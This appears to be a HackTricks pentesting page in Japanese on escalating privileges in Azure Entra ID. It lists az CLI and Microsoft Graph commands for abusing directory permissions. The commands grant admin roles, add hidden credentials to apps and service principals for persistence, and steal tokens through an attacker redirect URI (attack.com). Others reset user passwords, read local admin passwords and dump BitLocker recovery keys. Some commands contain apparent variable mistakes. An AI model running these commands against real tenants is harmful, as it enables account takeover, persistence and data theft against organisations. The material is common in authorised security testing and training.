Az - EntraID Privesc
{{#include ../../../../banners/hacktricks-training.md}}
Note
Entra ID における すべての詳細な権限 を持つ組み込みロールが カスタムロールで使用できるわけではない ことに注意してください。
Roles
Role: Privileged Role Administrator
このロールには、プリンシパルにロールを割り当て、ロールに対してより多くの権限を付与するために必要な詳細な権限が含まれています。これらの両方のアクションは、特権を昇格させるために悪用される可能性があります。
- ユーザーにロールを割り当てる:
# List enabled built-in roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
- ロールに権限を追加する:
# List only custom roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# Change the permissions of a custom role
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
--headers "Content-Type=application/json" \
--body '{
"description": "Update basic properties of application registrations",
"rolePermissions": [
{
"allowedResourceActions": [
"microsoft.directory/applications/credentials/update"
]
}
]
}'
アプリケーション
microsoft.directory/applications/credentials/update
これにより、攻撃者は既存のアプリケーションに資格情報(パスワードまたは証明書)を追加できます。アプリケーションに特権のある権限がある場合、攻撃者はそのアプリケーションとして認証し、その特権を取得できます。
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert
microsoft.directory/applications.myOrganization/credentials/update
これは applications/credentials/update と同じアクションを許可しますが、単一ディレクトリアプリケーションにスコープされています。
az ad app credential reset --id <appId> --append
microsoft.directory/applications/owners/update
攻撃者は自分自身をオーナーとして追加することで、アプリケーションを操作でき、資格情報や権限を含むことができます。
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append
# You can check the owners with
az ad app owner list --id <appId>
microsoft.directory/applications/allProperties/update
攻撃者は、テナントのユーザーによって使用されているアプリケーションにリダイレクトURIを追加し、新しいリダイレクトURLを使用したログインURLを共有することで、トークンを盗むことができます。ユーザーがすでにアプリケーションにログインしている場合、認証は自動的に行われ、ユーザーが何かを承認する必要はありません。
また、アプリケーションが要求する権限を変更して、より多くの権限を取得することも可能ですが、この場合、ユーザーはすべての権限を要求するプロンプトを再度承認する必要があります。
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
サービスプリンシパル
microsoft.directory/servicePrincipals/credentials/update
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
az ad sp credential reset --id <sp-id> --append
Caution
新しく生成されたパスワードはウェブコンソールに表示されないため、これはサービスプリンシパルに対して持続性を維持するための隠れた方法となる可能性があります。
APIからは次のコマンドで見つけることができます:az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json
エラー "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." が表示された場合、それは SPのpasswordCredentialsプロパティを変更することはできないため であり、最初にロックを解除する必要があります。そのためには、実行を許可する権限 (microsoft.directory/applications/allProperties/update) が必要です:
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
microsoft.directory/servicePrincipals/synchronizationCredentials/manage
これにより、攻撃者は既存のサービスプリンシパルに資格情報を追加できます。サービスプリンシパルに昇格した権限がある場合、攻撃者はその権限を引き継ぐことができます。
az ad sp credential reset --id <sp-id> --append
microsoft.directory/servicePrincipals/owners/update
アプリケーションと同様に、この権限はサービスプリンシパルに追加のオーナーを追加することを許可します。サービスプリンシパルのオーナーであることは、その資格情報と権限を制御することを可能にします。
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body "{
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
}"
az ad sp credential reset --id <sp-id> --append
# You can check the owners with
az ad sp owner list --id <spId>
Caution
新しいオーナーを追加した後、削除しようとしましたが、APIはDELETEメソッドがサポートされていないと応答しました。オーナーを削除するために使用する必要があるメソッドであってもです。したがって、現在はオーナーを削除できません。
microsoft.directory/servicePrincipals/disable と enable
これらの権限は、サービスプリンシパルを無効にしたり有効にしたりすることを許可します。攻撃者は、この権限を使用して、特定の方法でアクセスできるサービスプリンシパルを有効にし、特権を昇格させることができます。
この技術では、攻撃者が有効にされたサービスプリンシパルを乗っ取るために、さらに多くの権限が必要であることに注意してください。
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false
# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true
microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials
これらの権限は、シングルサインオンのための資格情報を作成および取得することを可能にし、サードパーティアプリケーションへのアクセスを許可する可能性があります。
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
--headers "Content-Type=application/json" \
--body "{\"id\": \"$credID\"}"
グループ
microsoft.directory/groups/allProperties/update
この権限は、特権グループにユーザーを追加することを許可し、特権昇格につながります。
az ad group member add --group <GroupName> --member-id <UserId>
注意: この権限は Entra ID ロール割り当てグループを除外します。
microsoft.directory/groups/owners/update
この権限はグループのオーナーになることを許可します。グループのオーナーはグループのメンバーシップと設定を制御でき、グループに対して権限をエスカレートする可能性があります。
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>
注意: この権限は Entra ID ロール割り当てグループを除外します。
microsoft.directory/groups/members/update
この権限はグループにメンバーを追加することを許可します。攻撃者は自分自身や悪意のあるアカウントを特権グループに追加することで、昇格したアクセスを付与することができます。
az ad group member add --group <GroupName> --member-id <UserId>
microsoft.directory/groups/dynamicMembershipRule/update
この権限は、動的グループのメンバーシップルールを更新することを許可します。攻撃者は、明示的な追加なしに特権グループに自分自身を含めるために動的ルールを変更する可能性があります。
groupId="<group-id>"
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
--headers "Content-Type=application/json" \
--body '{
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
"membershipRuleProcessingState": "On"
}'
注意: この権限は Entra ID ロール割り当てグループを除外します。
ダイナミックグループの特権昇格
ユーザーが自分のプロパティを変更してダイナミックグループのメンバーとして追加されることで、特権を昇格させることが可能な場合があります。詳細については、以下を確認してください:
{{#ref}} dynamic-groups.md {{#endref}}
ユーザー
microsoft.directory/users/password/update
この権限は非管理者ユーザーのパスワードをリセットすることを許可し、潜在的な攻撃者が他のユーザーに対して特権を昇格させることを可能にします。この権限はカスタムロールに割り当てることはできません。
az ad user update --id <user-id> --password "kweoifuh.234"
microsoft.directory/users/basic/update
この権限はユーザーのプロパティを変更することを許可します。プロパティ値に基づいてユーザーを追加する動的グループが一般的に見られるため、この権限によりユーザーは特定の動的グループのメンバーになるために必要なプロパティ値を設定し、権限を昇格させることができる可能性があります。
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
#e.g. change department of a user
az rest --method PATCH \
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
--headers "Content-Type=application/json" \
--body "{\"department\": \"security\"}"
条件付きアクセスポリシーとMFAバイパス
MFAを要求する誤設定された条件付きアクセスポリシーはバイパスされる可能性があります。確認してください:
{{#ref}} az-conditional-access-policies-mfa-bypass.md {{#endref}}
デバイス
microsoft.directory/devices/registeredOwners/update
この権限により、攻撃者はデバイスの所有者として自分自身を割り当て、デバイス固有の設定やデータへの制御またはアクセスを得ることができます。
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/devices/registeredUsers/update
この権限は、攻撃者が自分のアカウントをデバイスに関連付けてアクセスを得たり、セキュリティポリシーを回避したりすることを可能にします。
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
--headers "Content-Type=application/json" \
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
microsoft.directory/deviceLocalCredentials/password/read
この権限は、攻撃者がMicrosoft Entraに参加しているデバイスのバックアップされたローカル管理者アカウントの資格情報のプロパティを読み取ることを許可します。これにはパスワードが含まれます。
# List deviceLocalCredentials
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
BitlockerKeys
microsoft.directory/bitlockerKeys/key/read
この権限はBitLockerキーにアクセスすることを許可し、攻撃者がドライブを復号化し、データの機密性を侵害する可能性があります。
# List recovery keys
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
その他の興味深い権限 (TODO)
microsoft.directory/applications/permissions/updatemicrosoft.directory/servicePrincipals/permissions/updatemicrosoft.directory/applications.myOrganization/allProperties/updatemicrosoft.directory/applications/allProperties/updatemicrosoft.directory/servicePrincipals/appRoleAssignedTo/updatemicrosoft.directory/applications/appRoles/updatemicrosoft.directory/applications.myOrganization/permissions/update
{{#include ../../../../banners/hacktricks-training.md}}